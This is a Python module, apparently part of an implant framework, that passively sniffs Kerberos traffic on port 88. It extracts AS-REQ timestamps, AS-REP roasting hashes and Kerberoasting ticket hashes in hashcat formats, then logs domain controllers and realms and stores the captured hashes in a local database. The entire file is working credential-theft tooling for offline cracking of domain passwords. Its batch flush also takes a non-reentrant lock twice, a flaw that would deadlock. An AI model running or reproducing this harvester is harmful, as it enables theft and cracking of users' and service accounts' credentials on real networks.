#!/usr/bin/env python3
"""Passive Kerberos ticket harvester for offline cracking.

Parses Kerberos traffic on port 88:
  - AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
  - AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
  - TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)

Also identifies domain controllers, realms, and SPNs.
Publishes TICKET_HARVESTED events immediately on capture.
"""

import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)

# Kerberos message types (application tags)
KRB_AS_REQ = 10
KRB_AS_REP = 11
KRB_TGS_REQ = 12
KRB_TGS_REP = 13
KRB_ERROR = 30

# Encryption types
ETYPE_AES256_CTS = 18
ETYPE_AES128_CTS = 17
ETYPE_RC4_HMAC = 23
ETYPE_DES_CBC_MD5 = 3

# Hashcat modes
HASHCAT_AS_REQ_ETYPE23 = 7500
HASHCAT_AS_REP_ROAST = 18200
HASHCAT_KERBEROAST_RC4 = 13100
HASHCAT_KERBEROAST_AES256 = 19700
HASHCAT_KERBEROAST_AES128 = 19600


class KerberosHarvester(BaseModule):
    """Harvest Kerberos tickets from wire for offline cracking."""

    name = "kerberos_harvester"
    module_type = "passive"
    priority = 80
    requires_root = True
    requires_capture_bus = True

    BATCH_SIZE = 50
    FLUSH_INTERVAL = 30

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._capture_bus = None
        self._sub_queue = None
        self._reader_thread: Optional[threading.Thread] = None
        self._flusher_thread: Optional[threading.Thread] = None
        self._buffer = []
        self._buffer_lock = threading.Lock()
        self._db_path = ""
        self._db_conn: Optional[sqlite3.Connection] = None
        self._total_tickets = 0
        self._realms = set()
        self._dcs = set()

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._capture_bus = self.config.get("capture_bus")
        if not self._capture_bus:
            logger.error("KerberosHarvester requires capture_bus in config")
            return

        base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
        self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
        Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
        self._init_db()

        self._sub_queue = self._capture_bus.subscribe(
            name=self.name, bpf_filter="port 88", queue_depth=5000
        )

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self._reader_thread = threading.Thread(
            target=self._read_packets, daemon=True, name="sensor-kerb-reader"
        )
        self._reader_thread.start()

        self._flusher_thread = threading.Thread(
            target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
        )
        self._flusher_thread.start()

        self.state.set_module_status(self.name, "running", pid=os.getpid())
        logger.info("KerberosHarvester started — monitoring port 88")

    def stop(self) -> None:
        if not self._running:
            return
        self._running = False

        if self._capture_bus:
            self._capture_bus.unsubscribe(self.name)

        self._flush_buffer()
        if self._db_conn:
            self._db_conn.close()
            self._db_conn = None

        self.state.set_module_status(self.name, "stopped")
        logger.info(
            "KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
            self._total_tickets, len(self._realms), len(self._dcs),
        )

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "total_tickets": self._total_tickets,
            "realms": list(self._realms),
            "domain_controllers": list(self._dcs),
            "buffer_size": len(self._buffer),
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Database
    # ------------------------------------------------------------------

    def _init_db(self) -> None:
        self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
        self._db_conn.execute("PRAGMA journal_mode=WAL")
        self._db_conn.execute("PRAGMA synchronous=NORMAL")
        self._db_conn.executescript("""
            CREATE TABLE IF NOT EXISTS kerberos_tickets (
                id           INTEGER PRIMARY KEY AUTOINCREMENT,
                timestamp    REAL NOT NULL,
                source_ip    TEXT NOT NULL,
                dc_ip        TEXT NOT NULL,
                realm        TEXT,
                username     TEXT,
                spn          TEXT,
                ticket_type  TEXT NOT NULL,
                hashcat_mode INTEGER,
                hash_value   TEXT
            );
            CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
            CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
            CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
            CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
        """)
        self._db_conn.commit()

    # ------------------------------------------------------------------
    # Packet reader
    # ------------------------------------------------------------------

    def _read_packets(self) -> None:
        while self._running:
            result = self._sub_queue.get(timeout=1.0)
            if result is None:
                continue
            ts, raw_packet = result
            try:
                self._parse_packet(ts, raw_packet)
            except Exception:
                pass

    def _parse_packet(self, ts: float, raw: bytes) -> None:
        """Parse Ethernet->IP->TCP/UDP->Kerberos."""
        if len(raw) < 14:
            return

        eth_type = struct.unpack("!H", raw[12:14])[0]
        ip_offset = 14
        if eth_type == 0x8100:
            if len(raw) < 18:
                return
            eth_type = struct.unpack("!H", raw[16:18])[0]
            ip_offset = 18

        if eth_type != 0x0800:
            return

        if len(raw) < ip_offset + 20:
            return

        ip_hdr = raw[ip_offset:]
        ihl = (ip_hdr[0] & 0x0F) * 4
        ip_proto = ip_hdr[9]
        src_ip = socket.inet_ntoa(ip_hdr[12:16])
        dst_ip = socket.inet_ntoa(ip_hdr[16:20])

        if ip_proto == 6:  # TCP
            tcp_offset = ip_offset + ihl
            if len(raw) < tcp_offset + 20:
                return
            src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
            if src_port != 88 and dst_port != 88:
                return
            tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
            payload = raw[tcp_offset + tcp_hdr_len:]
            # TCP Kerberos has 4-byte length prefix
            if len(payload) > 4:
                payload = payload[4:]
        elif ip_proto == 17:  # UDP
            udp_offset = ip_offset + ihl
            if len(raw) < udp_offset + 8:
                return
            src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
            if src_port != 88 and dst_port != 88:
                return
            payload = raw[udp_offset + 8:]
        else:
            return

        if len(payload) < 10:
            return

        # Determine direction: requests go TO port 88, responses come FROM port 88
        if dst_port == 88:
            client_ip = src_ip
            dc_ip = dst_ip
        else:
            client_ip = dst_ip
            dc_ip = src_ip

        self._dcs.add(dc_ip)
        self._parse_kerberos(ts, client_ip, dc_ip, payload)

    def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
                        data: bytes) -> None:
        """Parse ASN.1/DER-encoded Kerberos message."""
        if len(data) < 2:
            return

        # Kerberos messages use ASN.1 application tags
        # AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
        # TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
        tag = data[0]
        if tag & 0xE0 != 0x60:  # Application constructed
            return

        msg_type = tag & 0x1F

        # Read outer length
        _, offset = self._asn1_length(data, 1)
        if offset < 0 or offset >= len(data):
            return

        if msg_type == KRB_AS_REQ:
            self._parse_as_req(ts, client_ip, dc_ip, data, offset)
        elif msg_type == KRB_AS_REP:
            self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
        elif msg_type == KRB_TGS_REP:
            self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)

    def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
                      data: bytes, offset: int) -> None:
        """Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
        realm = ""
        username = ""
        enc_timestamp = ""
        etype = 0

        # Walk the ASN.1 SEQUENCE looking for known context tags
        # AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
        seq_offset = self._enter_sequence(data, offset)
        if seq_offset < 0:
            return

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:  # Not context-specific constructed
                break

            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            ctx_data = data[next_pos:next_pos + length]

            if ctx_num == 3:  # padata
                # Look for PA-ENC-TIMESTAMP (type 2)
                enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
                if enc_ts:
                    enc_timestamp = enc_ts
                    etype = found_etype

            elif ctx_num == 4:  # req-body (KDC-REQ-BODY)
                r, u = self._extract_req_body_info(ctx_data)
                if r:
                    realm = r
                if u:
                    username = u

            pos = next_pos + length

        if realm:
            self._realms.add(realm)

        # If we got an encrypted timestamp, emit for hashcat 7500
        if enc_timestamp and username:
            hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
            hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"

            self._emit_ticket(
                ts, client_ip, dc_ip, realm, username, "",
                "AS-REQ", hashcat_mode, hash_value,
            )

    def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
                      data: bytes, offset: int) -> None:
        """Parse AS-REP for AS-REP roasting hash (mode 18200)."""
        realm = ""
        username = ""
        enc_part = ""
        etype = 0

        seq_offset = self._enter_sequence(data, offset)
        if seq_offset < 0:
            return

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:
                break

            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            ctx_data = data[next_pos:next_pos + length]

            if ctx_num == 3:  # crealm
                realm = self._read_string(ctx_data)
            elif ctx_num == 4:  # cname
                username = self._extract_principal_name(ctx_data)
            elif ctx_num == 6:  # enc-part (EncryptedData)
                etype, enc_part = self._extract_encrypted_data(ctx_data)

            pos = next_pos + length

        if realm:
            self._realms.add(realm)

        if enc_part and username:
            if etype == ETYPE_RC4_HMAC:
                hashcat_mode = HASHCAT_AS_REP_ROAST
            else:
                hashcat_mode = HASHCAT_AS_REP_ROAST
            hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"

            self._emit_ticket(
                ts, client_ip, dc_ip, realm, username, "",
                "AS-REP", hashcat_mode, hash_value,
            )

    def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
                       data: bytes, offset: int) -> None:
        """Parse TGS-REP for Kerberoasting hash (mode 13100)."""
        realm = ""
        username = ""
        spn = ""
        enc_part = ""
        etype = 0

        seq_offset = self._enter_sequence(data, offset)
        if seq_offset < 0:
            return

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:
                break

            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            ctx_data = data[next_pos:next_pos + length]

            if ctx_num == 3:  # crealm
                realm = self._read_string(ctx_data)
            elif ctx_num == 4:  # cname
                username = self._extract_principal_name(ctx_data)
            elif ctx_num == 5:  # ticket — contains the SPN and enc-part
                t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
                if t_spn:
                    spn = t_spn
                if t_enc:
                    enc_part = t_enc
                    etype = t_etype

            pos = next_pos + length

        if realm:
            self._realms.add(realm)

        if enc_part and (username or spn):
            if etype == ETYPE_RC4_HMAC:
                hashcat_mode = HASHCAT_KERBEROAST_RC4
            elif etype == ETYPE_AES256_CTS:
                hashcat_mode = HASHCAT_KERBEROAST_AES256
            elif etype == ETYPE_AES128_CTS:
                hashcat_mode = HASHCAT_KERBEROAST_AES128
            else:
                hashcat_mode = HASHCAT_KERBEROAST_RC4

            hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"

            self._emit_ticket(
                ts, client_ip, dc_ip, realm, username, spn,
                "TGS-REP", hashcat_mode, hash_value,
            )

    # ------------------------------------------------------------------
    # ASN.1 helpers
    # ------------------------------------------------------------------

    @staticmethod
    def _asn1_length(data: bytes, offset: int) -> tuple:
        """Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
        if offset >= len(data):
            return -1, offset
        first = data[offset]
        if first & 0x80 == 0:
            return first, offset + 1
        num_bytes = first & 0x7F
        if num_bytes == 0 or offset + 1 + num_bytes > len(data):
            return -1, offset
        length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
        return length, offset + 1 + num_bytes

    def _enter_sequence(self, data: bytes, offset: int) -> int:
        """Skip into a SEQUENCE tag and return offset to first element, or -1."""
        if offset >= len(data) or data[offset] != 0x30:
            return -1
        _, new_offset = self._asn1_length(data, offset + 1)
        return new_offset

    def _read_string(self, data: bytes) -> str:
        """Read a GeneralString/UTF8String from ASN.1 data."""
        if len(data) < 2:
            return ""
        # Skip tag byte
        tag = data[0]
        length, offset = self._asn1_length(data, 1)
        if length < 0 or offset + length > len(data):
            return ""
        return data[offset:offset + length].decode("utf-8", errors="replace")

    def _extract_principal_name(self, data: bytes) -> str:
        """Extract principal name from a PrincipalName SEQUENCE."""
        # PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
        seq_offset = self._enter_sequence(data, 0)
        if seq_offset < 0:
            return ""

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:
                break
            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            if ctx_num == 1:  # name-string SEQUENCE OF GeneralString
                name_data = data[next_pos:next_pos + length]
                names = self._extract_string_sequence(name_data)
                return "/".join(names) if names else ""

            pos = next_pos + length
        return ""

    def _extract_string_sequence(self, data: bytes) -> list:
        """Extract strings from a SEQUENCE OF GeneralString."""
        result = []
        seq_offset = self._enter_sequence(data, 0)
        if seq_offset < 0:
            return result

        pos = seq_offset
        while pos < len(data):
            if pos >= len(data):
                break
            tag = data[pos]
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0 or next_pos + length > len(data):
                break
            try:
                s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
                result.append(s)
            except Exception:
                pass
            pos = next_pos + length
        return result

    def _extract_encrypted_data(self, data: bytes) -> tuple:
        """Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
        seq_offset = self._enter_sequence(data, 0)
        if seq_offset < 0:
            return 0, ""

        etype = 0
        cipher_hex = ""

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:
                break
            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            ctx_data = data[next_pos:next_pos + length]

            if ctx_num == 0:  # etype INTEGER
                etype = self._read_integer(ctx_data)
            elif ctx_num == 2:  # cipher OCTET STRING
                if len(ctx_data) >= 2:
                    c_len, c_off = self._asn1_length(ctx_data, 1)
                    if c_len > 0 and c_off + c_len <= len(ctx_data):
                        cipher_hex = ctx_data[c_off:c_off + c_len].hex()

            pos = next_pos + length

        return etype, cipher_hex

    def _extract_ticket_info(self, data: bytes) -> tuple:
        """Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
        # Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
        if len(data) < 2:
            return "", 0, ""

        # Skip application tag
        if data[0] & 0xE0 == 0x60:
            _, offset = self._asn1_length(data, 1)
        else:
            offset = 0

        seq_offset = self._enter_sequence(data, offset)
        if seq_offset < 0:
            return "", 0, ""

        spn = ""
        etype = 0
        cipher_hex = ""

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:
                break
            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            ctx_data = data[next_pos:next_pos + length]

            if ctx_num == 2:  # sname (PrincipalName)
                spn = self._extract_principal_name(ctx_data)
            elif ctx_num == 3:  # enc-part (EncryptedData)
                etype, cipher_hex = self._extract_encrypted_data(ctx_data)

            pos = next_pos + length

        return spn, etype, cipher_hex

    def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
        """Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
        seq_offset = self._enter_sequence(data, 0)
        if seq_offset < 0:
            return "", 0

        pos = seq_offset
        while pos < len(data) - 2:
            # Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
            if data[pos] != 0x30:
                break
            pa_len, pa_off = self._asn1_length(data, pos + 1)
            if pa_len < 0:
                break

            pa_data = data[pa_off:pa_off + pa_len]
            pa_type = 0
            pa_value = b""

            inner_pos = 0
            while inner_pos < len(pa_data) - 2:
                ctx_tag = pa_data[inner_pos]
                if ctx_tag & 0xC0 != 0xA0:
                    break
                ctx_num = ctx_tag & 0x1F
                il, ip = self._asn1_length(pa_data, inner_pos + 1)
                if il < 0:
                    break

                if ctx_num == 1:  # padata-type
                    pa_type = self._read_integer(pa_data[ip:ip + il])
                elif ctx_num == 2:  # padata-value
                    pa_value = pa_data[ip:ip + il]

                inner_pos = ip + il

            if pa_type == 2 and pa_value:  # PA-ENC-TIMESTAMP
                etype, cipher = self._extract_encrypted_data(pa_value)
                if cipher:
                    return cipher, etype

            pos = pa_off + pa_len

        return "", 0

    def _extract_req_body_info(self, data: bytes) -> tuple:
        """Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
        seq_offset = self._enter_sequence(data, 0)
        if seq_offset < 0:
            return "", ""

        realm = ""
        username = ""

        pos = seq_offset
        while pos < len(data) - 2:
            ctx_tag = data[pos]
            if ctx_tag & 0xC0 != 0xA0:
                break
            ctx_num = ctx_tag & 0x1F
            length, next_pos = self._asn1_length(data, pos + 1)
            if length < 0:
                break

            ctx_data = data[next_pos:next_pos + length]

            if ctx_num == 1:  # cname
                username = self._extract_principal_name(ctx_data)
            elif ctx_num == 2:  # realm
                realm = self._read_string(ctx_data)

            pos = next_pos + length

        return realm, username

    def _read_integer(self, data: bytes) -> int:
        """Read an ASN.1 INTEGER value."""
        if len(data) < 2:
            return 0
        tag = data[0]
        if tag != 0x02:
            return 0
        length, offset = self._asn1_length(data, 1)
        if length < 0 or offset + length > len(data):
            return 0
        return int.from_bytes(data[offset:offset + length], "big", signed=True)

    # ------------------------------------------------------------------
    # Ticket emission
    # ------------------------------------------------------------------

    def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
                     realm: str, username: str, spn: str,
                     ticket_type: str, hashcat_mode: int,
                     hash_value: str) -> None:
        self._total_tickets += 1

        record = (ts, client_ip, dc_ip, realm, username, spn,
                  ticket_type, hashcat_mode, hash_value)

        with self._buffer_lock:
            self._buffer.append(record)
            if len(self._buffer) >= self.BATCH_SIZE:
                self._flush_buffer()

        self.bus.emit("TICKET_HARVESTED", {
            "source_ip": client_ip,
            "dc_ip": dc_ip,
            "realm": realm,
            "username": username,
            "spn": spn,
            "ticket_type": ticket_type,
            "hashcat_mode": hashcat_mode,
        }, source_module=self.name)

        logger.info(
            "TICKET: %s %s@%s -> %s (hashcat -m %d)",
            ticket_type, username, realm, dc_ip, hashcat_mode,
        )

    # ------------------------------------------------------------------
    # Buffer flush
    # ------------------------------------------------------------------

    def _flush_loop(self) -> None:
        while self._running:
            time.sleep(self.FLUSH_INTERVAL)
            try:
                self._flush_buffer()
            except Exception:
                logger.exception("Kerberos flush error")

    def _flush_buffer(self) -> None:
        with self._buffer_lock:
            batch = list(self._buffer)
            self._buffer.clear()

        if not batch or not self._db_conn:
            return

        try:
            self._db_conn.executemany(
                "INSERT INTO kerberos_tickets "
                "(timestamp, source_ip, dc_ip, realm, username, spn, "
                "ticket_type, hashcat_mode, hash_value) "
                "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
                batch,
            )
            self._db_conn.commit()
        except Exception:
            logger.exception("Failed to flush %d kerberos tickets", len(batch))
